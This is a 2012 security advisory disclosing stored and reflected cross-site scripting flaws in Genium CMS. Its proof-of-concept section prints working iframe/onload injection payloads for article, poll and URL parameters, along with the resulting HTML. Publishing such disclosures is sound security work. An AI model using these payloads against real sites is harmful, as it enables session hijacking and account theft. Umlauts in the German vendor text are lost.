Title: ====== Genium CMS 2012Q2 - Multiple Web Vulnerabilities Date: ===== 2012-05-02 References: =========== http://www.vulnerability-lab.com/get_content.php?id=517 VL-ID: ===== 517 Introduction: ============= Durch den Einsatz von Genium CMS knnen Sie Ihre Homepage schnell und unabhngig von Spezialisten betreuen. Kostengnstig, schnell und flexibel. Das Erstellen von Internetseiten durch eine Webagentur kostet viel Geld und ist in der Regel nicht von heute auf morgen realisierbar. Mit Genium CMS sparen Sie Kosten und verkrzen Ihre Kommunikationswege drastisch. Bei Aktualisierungen mssen Sie nicht darauf warten bis Ihr EDV-Techniker Zeit hat neue Inhalte online zu stellen. nderungen, Korrekturen und Ergnzungen realisieren Sie innert Minuten! Um Ihre Homepage aktiv zu nutzen, ist es unumgnglich, dass Sie schnell auf neue Situationen reagieren knnen. Nur so ist eine direkte Kommunikation mit Ihren Kunden mglich. Die Aktualitt Ihrer Homepage ist ein Schlsselfaktor fr einen erfolgreichen Webauftritt. (Copy of the Vendor Homepage: http://cms.genium.ch ) Abstract: ========= The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in Geniums Content Management System 2012|Q2. Report-Timeline: ================ 2012-05-01: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== 1.1 Multiple persistent input validation vulnerabilities are detected in Geniums Content Management System 2012|Q2. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action. The bugs are located on the article listing & pool fields of the application which allows to execute code out of the main genium application context. Vulnerable Module(s): [+] Article Listing & Add [SELL] - Artikelnummer, Bezeichnung & Preis [+] Umfrage - Questions & Answers Picture(s): ../1.png ../2.png 1.2 Multiple non persistent cross site scripting vulnerabilities are detected in Geniums Content Management System 2012|Q2. The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing & client-side content request manipulation. Vulnerable Module(s): [+] itemID [+] menuItemID Picture(s): ../3.png ../4.png Proof of Concept: ================= 1.1 The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ... URL: http://127.0.0.1:8080/genium/kontakt-1.php5 Module: Article Listing & Add [SELL] - Artikelnummer, Bezeichnung & Preis <form name="formArticle6" method="post" action="index.php5?site=basket"><input name="artikelnummer" value="" type="hidden"><iframe src="a" onload='alert("VL")' <"=""><input name="bezeichnung" type="hidden" value="& quot;><iframe src=a onload=alert("VL") <"><input name="preis" type="hidden" value=""><iframe src=a onload=alert("VL") <"/><input name="stamp" type="hidden" value="1334501982"/><table border = "0" width="auto" CELLPADDING=0 CELLSPACING=0><tr>< td width="100%"><strong><nobr>Fr. 0.00 </nobr></strong> </td> URL: http://127.0.0.1:8080/genium/galerie.php5# Module: Umfrage - Questions & Answers <p class="title2">"><iframe src="a" onload='alert("VL")' <<="" p=""> <FORM ACTION="galerie.php5#2" METHOD=post NAME=pollform> <TABLE WIDTH=50% cellspacing="0" cellpadding="0" border="0"> <TR> <TD> <input name='pollsModuleID' type='hidden' size='50' maxlength='50' value='2'> <input type=radio name=question value='1'/>"> <iframe src=a onload=alert("VL") <<br>< input type=radio name=question value='2'/>"><iframe src=a onload=alert("VL") <<br> 1.2 The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required user inter action. For demonstration or reproduce ... http://127.0.0.1:8080/genium/galerie.php5?moduleID=1&itemID=%22%3E%3Ciframe%20src=a%20onload= alert%28%22VL%22%29%20%3C&menuItemID=-1&moduleRenderType=solo Review: Listing <a href="index.php5?site=basket" class="menX">Warenkorb (1)</a><a class="menX" href="index.php5 ?site=basketform">Bestellformular</a><a href="/galerie.php5?moduleID=1&itemID=%22%3E%3Ciframe%20src= a%20onload=alert(%22VL%22)%20%3C&menuItemID=-1&moduleRenderType=solo&print" class="menX" target="_blank" >Drucken</a> ... or <a class="xmenu" href="#" onclick="window.open('./xyloz/modules/photoalbum/photoalbum.editor.module.php5? func=itemEdit&moduleXMLFile=1290873449_photoalbum.xml&itemID="><iframe src=a onload=alert("VL") <','mywindow', 'resizable=yes,scrollbars=off,width=740,height=550')" onmouseover='addValue("menu927297");' onmouseout=' subValue("menu927297");'><img src="./xyloz/images/xedit.gif" class="img" border="0"> bearbeiten</a> <a class="xmenu" href="#" onclick="window.open('./xyloz/modules/photoalbum/photoalbum.editor.module.php5? func=itemDelete&moduleXMLFile=1290873449_photoalbum.xml&itemID="><iframe src=a onload=alert("VL") <&site=galerie','mywindow','resizable=yes,scrollbars=off,width=740,height=550')" onmouseover='addValue("menu927297");' onmouseout='subValue("menu927297");'><img src="./xyloz/images/xdel.gif" class="img" border="0"> lschen</a> </div> Risk: ===== 1.1 The security risk of the persistent input validation vulnerabilities are estimated as medium(+). 1.2 The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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